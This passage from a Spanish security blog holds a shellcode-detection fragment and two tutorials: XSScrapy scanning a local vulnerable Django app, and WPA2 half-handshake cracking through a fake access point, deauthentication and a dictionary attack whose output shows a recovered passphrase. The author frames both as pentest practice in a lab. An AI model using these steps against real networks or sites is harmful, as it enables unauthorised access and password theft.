El formato generado por la herramienta es “DOT”, el cual puede ser rápidamente convertido a un formato mucho más conocido como JPEG o PNG utilizando Graphviz.

>sudo apt-get install graphviz

El resultado de ejecutar la utilidad con la opción “-G” se puede ver en la siguiente imagen.

payloadGraph

Flujo de invocaciones del programa

Para la detección de shellcodes, LibEmu se basa en técnicas GetPC tal como se ha visto anteriormente, con lo cual, para comprender cómo funciona LibEmu, lo más importante es comprender el funcionamiento de las técnicas GetPC, especialmente las basadas en llamadas (CALL) y en la función FNSTNV. En un próximo articulo intentaré profundizar un poco más en estas secuencias de instrucciones.

Un saludo y Happy Hack!
Adastra.

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Hacking Hacking Python Programacion Web Applications

XSScrapy para procesos de crawling e identificación de vulnerabilidades

Scrapy es un framework que cuenta con varias utilidades para crear spiders y crawlers, se ha vuelto bastante popular y en cada nueva versión es mucho más estable y robusto. Hace algún tiempo comentaba en un vídeo de la serie de Hacking con Python los elementos que a mi parecer eran los más interesantes de Scrapy y cómo se puede utilizar desde cualquier script en Python. Dado que este tipo de actividades casi siempre suelen ir de la mano con procesos de minería y extracción de datos, a lo mejor no resulta tan llamativo para un pentester/hacker (o si), pero cuando hablamos de ejecutar un proceso de crawling no solo para extraer información, sino para detectar vulnerabilidades en aplicaciones web, seguro que más de uno comienza a ver que se pueden hacer cosas muy interesantes.
Si has visto como funciona un spider y la cantidad de elementos involucrados en un proceso de crawling, casi seguro que alguna vez te habrás preguntado ¿Y cómo puedo utilizar esto para ejecutar tareas de pentesting? Creo que es una pregunta bastante lógica, ya que además de visitar enlaces y analizar la estructura de un sitio web, también estás jugando con cabeceras HTTP, parámetros en el cuerpo de la petición o directamente en la URL, formularios, diferentes tipos de “content-types” y un largo etc. Son muchas las posibilidades que tienes a tu disposición.
Ahora bien, imaginar por un segundo que esto lo aplicamos no solamente a aplicaciones web en Internet, sino también a servicios ocultos del tipo HTTP en la red de TOR. A mi personalmente me ha parecido una idea de lo más interesante y ahora mismo me encuentro desarrollándola para la próxima versión Tortazo, algo de lo que pienso hablaros en un próximo articulo.

Si quieres utilizar Scrapy directamente y realizar pruebas de pentesting contra todos los enlaces encontrados y procesados por un Spider, no hay demasiados impedimentos para hacerlo, sin embargo existe una herramienta que ya lo hace por ti, dicha herramienta es XSScrapy.

  1. Instalación y uso de XSScrapy

XSScrapy es una aplicación fácil de instalar y de usar, como ya os imaginaréis se basa en Scrapy y permite encontrar vulnerabilidades del estilo XSS (tanto reflejado como almacenado) y también vulnerabilidades del tipo SQLi. El proyecto se encuentra alojado en el siguiente repositorio de GitHub https://github.com/DanMcInerney/xsscrapy y para instalarlo basta con utilizar el comando “pip” junto con el fichero de dependencias.

>git clone https://github.com/DanMcInerney/xsscrapy.git && cd xsscrapy

>pip install -r requirements.txt

A continuación se puede comenzar a probar la aplicación, que sobresale por su simplicidad.

>./xsscrapy.py -h

usage: xsscrapy.py [-h] [-u URL] [-l LOGIN] [-p PASSWORD] [-c CONNECTIONS]

[-r RATELIMIT] [–basic]

optional arguments:

-h, –help show this help message and exit

-u URL, –url URL URL to scan; -u http://example.com

-l LOGIN, –login LOGIN

Login name; -l danmcinerney

-p PASSWORD, –password PASSWORD

Password; -p pa$$w0rd

-c CONNECTIONS, –connections CONNECTIONS

Set the max number of simultaneous connections

allowed, default=30

-r RATELIMIT, –ratelimit RATELIMIT

Rate in requests per minute, default=0

–basic Use HTTP Basic Auth to login

Evidentemente la opción que resulta más interesante es en la que se puede definir la URL (-u/–url) del objetivo y a partir de allí, comenzar a ejecutar el procesamiento de enlaces y peticiones/respuestas HTTP. Otra opción interesante es la que permite establecer el número de conexiones simultaneas máximo contra el sitio web en cuestión (-c/–connections) algo que resulta muy practico para evitar que un WAF detecte el ataque y bloquee las peticiones desde la IP donde se realizan. Además, en el caso de que el sitio web requiera autenticación (digest o basic) es posible indicar un usuario y una contraseña con los interruptores -l y -p.
Ahora que tenemos una imagen general del funcionamiento del programa, podemos comenzar a utilizarlo con una aplicación web vulnerable. Existen aplicaciones web para realizar pruebas de penetración de todos los gustos y colores, algunas de ellas ya las he mencionado y explicado en varias ocasiones en este sitio, tales como DOJO InsecureWebApp, Hacme Casino, DVWA (Damn Vulnerable Web Application), WebGoat, etc. En esta ocasión vamos a utilizar Django-Moth, una aplicación web vulnerable escrita en Django que puedes descargar libremente desde aquí: https://github.com/andresriancho/django-moth pero si lo prefieres puedes utilizar cualquier otra, a efectos prácticos da un poco igual.

Después de descargar el proyecto del repositorio GitHub, se puede iniciar la aplicación Django de la siguiente forma:

>python manage runserver 8080

Performing system checks…

System check identified no issues (0 silenced).

February 18, 2015 – 17:05:08

Django version 1.7.1, using settings ‘djmoth.settings’

Starting development server at http://127.0.0.1:8080/

Quit the server with CONTROL-C.

El puerto por defecto es el 8000, pero como se puede apreciar se puede cambiar por cualquier otro. Recordar que se trata de una aplicación web con vulnerabilidades fáciles de explotar, evitar utilizarla en Internet y mucho menos, utilizar un puerto como el 80 que requiere privilegios de root.

Todas las vulnerabilidades de Django Moth se encuentran separadas por secciones, pero aun así, el crawler de XSScrapy, a la fecha de redactar este articulo, no permite establecer reglas para indicar en qué momento debe detenerse el ataque y cuales son los enlaces que se permite visitar. Tal falta de control es un problema a la larga, ya que muchas páginas tienen enlaces a otros dominios y es fácil que el proceso recursivo termine llevando al crawler a sitios que no deberían analizarse, así que hay que estar atentos a las trazas que arroja el programa en todo momento. Ahora se puede ejecutar algo como lo siguiente:

./xsscrapy.py -u http://localhost:8080/audit/os_commanding/blind_osc.py?cmd=ls

Se podrán ver varias trazas y los elementos que la herramienta va analizando en cada iteración. En el caso de interrumpir el proceso manualmente o que termine debido a que ya se han recorrido todos los enlaces, se genera automáticamente un fichero con nombre: “xsscrapy-vulns.txt” el cual contiene todos los resultados encontrados. Incluye cosas como las vulnerabilidades encontradas, puntos de inyección, parámetros utilizados, la petición y respuesta del servidor, etc.

Una herramienta interesante con mucho potencial y aunque a mi juicio se puede explotar mucho más el framework de Scrapy, puede resultar muy instructiva para aprender detalles avanzados del framework, eso si, solamente si estas dispuesto a ver el código y entender cómo funciona, algo que desde luego te recomendaría ya que tiene detalles técnicos muy valiosos y que te ayudarán a aprender ciertos “trucos” a la hora de crear tus propias herramientas.

Un saludo y Happy Hack!
Adastra.

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Cracking Hacking Networking

Crackeando WPA2 con un Half-Handshake

Las redes wifi con WPA/WPA2 activado suelen ser suficientemente seguras y dadas sus características, a la fecha de redactar este articulo, la única forma de atacar directamente una red con este mecanismo de protección es intentando capturar un 4way-handshake entre el cliente y un AP. Un 4way-handshake en la terminología de WPA se refiere a los paquetes de datos intercambiados entre AP y cliente a la hora de realizar el proceso de autenticación mutuo. No obstante, aunque un handshake completo es lo deseado para poder iniciar un ataque por diccionario, también es posible hacerlo con un handshake “a medias”, es decir, cuando el cliente inicia el proceso de autenticación con un AP y dicho proceso ha fallado. Ahora bien, seguramente el lector ya lo sabe, pero cuando un dispositivo tiene registrado un AP con el que suele conectarse con frecuencia (como por ejemplo una red wifi domestica), dicho dispositivo envía de forma constante paquetes del tipo “PROBE_REQUEST” con la esperanza de que el AP se encuentre en en la zona de alcance. Cuando un AP con el SSID especificado responde con un “PROBE_RESPONSE”, el proceso de autenticación en ambos sentidos comienza inmediatamente, dando lugar a una serie de peticiones que identifican tanto al cliente como al AP y determinan si ambos son quienes dicen ser. Se trata de un procedimiento robusto en el que la relación de confianza en ambos sentidos es vital para que la conexión se pueda realizar correctamente. No obstante, es posible que solamente una de las dos partes se pueda identificar con la otra de forma correcta, en este caso hablamos de un handshake a medias, ya que solamente una de las dos entidades ha podido reconocer a la otra. Con un handshake a medias también es posible realizar el mismo ataque por diccionario que con un handshake completo y por este motivo, también es un vector de ataque valido en este tipo de entornos.
Ahora, ¿Cuándo y cómo se debe llevar a cabo este tipo de ataque? Cuando se capturan los paquetes “PROBE_REQUEST” de un cliente, dichos mensajes contienen el SSID del AP que el cliente busca y en este punto, un atacante puede levantar un AP falso con dicho SSID para responder a las peticiones enviadas por el cliente. Para responder al “cómo” de la pregunta anterior, pueden haber varios mecanismos validos, como por ejemplo utilizando la herramienta “ap-hotspot”. Por simplicidad y porque es una solución rápida de implementar, se puede utilizar la herramienta “KDE NetworkManager” o el “NetworkManager de Gnome”, a efectos prácticos utilizar cualquiera de los dos resulta equivalente.

Configurando un AP inalámbrico con el NetworkManager

En sistemas Debian el paquete que incluye el KDE NetworkManager es el “network-manager-kde” y en sistemas Ubuntu el “plasma-nm”. Como es acostumbrado en este tipo de sistemas, se puede instalar muy fácilmente utilizando herramientas como “apt-get”. Por otro lado, en sistemas Debian y Ubuntu con GNOME, el NetworkManager viene incluido por defecto y se puede ver en el panel lateral en donde se encuentran otras herramientas del escritorio. En ambos casos, crear un AP es bastante simple, las imágenes que se enseñan a continuación muestran cómo crear un AP con un SSID y una contraseña. (Antes de crear la conexión, asegurarse de que la red wifi se encuentra desactivada).

 

wifi1

Creando conexión inalámbrica con NetworkManager de Gnome

wifi2

Estableciendo los detalles básicos de conexión

wifi3

Estableciendo credenciales de acceso a la conexión.

Después de crear la conexión, aun es necesario cambiar el modo de la conexión, de esta forma actuará como AP. Para ello, es necesario editar el siguiente fichero de configuración.

sudo gedit /etc/NetworkManager/system-connections/ONO-FAKE

Donde “ONO-FAKE” es el nombre que se le ha dado a la conexión. Al abrir dicho fichero de configuración, es necesario cambiar la línea “mode=infrastructure” por “mode=ap”. El contenido del fichero será similar al siguiente:

[connection]

id=ONO-FAKE

uuid=c3704266-e143-4705-a3c0-9511fc2d37eb

type=802-11-wireless

[802-11-wireless]

ssid=ONO12B5

mode=infrastructure

mac-address=9C:D2:1E:43:76:E9

security=802-11-wireless-security

[802-11-wireless-security]

key-mgmt=wpa-psk

psk=testingwpa2ap

[ipv4]

method=auto

[ipv6]

method=auto

Con todo lo anterior, ahora se puede activar la red wifi y el dispositivo actuará como un AP con el SSID indicado.

El siguiente paso consiste en capturar todo el trafico correspondiente a las conexiones que realizarán los clientes contra el AP recién creado. Para ello, se puede utilizar Wireshark, TCPDump o airodump-ng para capturar el handshake a medias.

sudo tcpdump -i wlan0 -s 65535 -w half-handshake.cap

Una forma de conseguir trafico, es utilizando herramientas como aircrack-ng para ejecutar ataques de “deauthenticación” contra los clientes de una red determinada. En el caso de que no exista un AP con el SSID especificado en la zona de acción, pero que se tenga la plena seguridad de que en algún momento habrá clientes que busquen dicho SSID, solamente será cuestión de paciencia y esperar a que dichos clientes ejecuten las peticiones “PROBE_REQUEST”.

Finalmente, es el momento de realizar el ataque por diccionario y para ello, se puede utilizar una herramienta llamada “WPA2-HalfHandshake-Crack”

Utilizando WPA2-HalfHandshake-Crack

“WPA2-HalfHandshake-Crack” es una herramienta que se encarga de realizar ataques por diccionario contra ficheros PCAP con un handshake completo o uno a medias. El proyecto se encuentra ubicado en el siguiente repositorio de GitHub: https://github.com/dxa4481/WPA2-HalfHandshake-Crack.git

Es necesario instalar todas las dependencias para poder ejecutar el script y para ello, se puede lanzar el script setup.py con el argumento “install”. La utilidad principal del proyecto es “halfHandshake.py” y recibe como argumento las siguientes opciones:

-r: Fichero PCAP con el handshake o el handshake a medias que se ha capturado previamente

-m: Dirección MAC del AP.

-s: El SSID del AP.

-d: Ubicación del diccionario para realizar el ataque. Si no se especifica un valor, se lee el diccionario por defecto de la herramienta.

Usando el fichero PCAP capturado en el paso anterior y un diccionario que contiene la contraseña, se puede ejecutar la utilidad para intentar obtener el passphrase.

python halfHandshake.py -r half-handshake.cap -m FC15B4FCF606 -s «ONOB4387» -d dictONOFAKE

loading dictionary…

0.02212665655% done. 700.23228772 hashes per second

0.0431311549654% done. 713.574044375 hashes per second

0.0637903739549% done. 714.927209317 hashes per second

0.0851689250818% done. 721.570195251 hashes per second

0.105885690642% done. 721.111075404 hashes per second

Passphrase found! testingwpa2ap

Como se puede apreciar, ha sido rápido y limpio, evidentemente porque el diccionario especificado ya contenía la passphrase del AP, sin embargo es bastante ilustrativo para probar el uso de esta herramienta y verificar que aunque no se cuente con un handshake completo, aun sigue siendo posible realizar un ataque por diccionario con un handshake a medias.

Un saludo y Happy Hack!
Adastra

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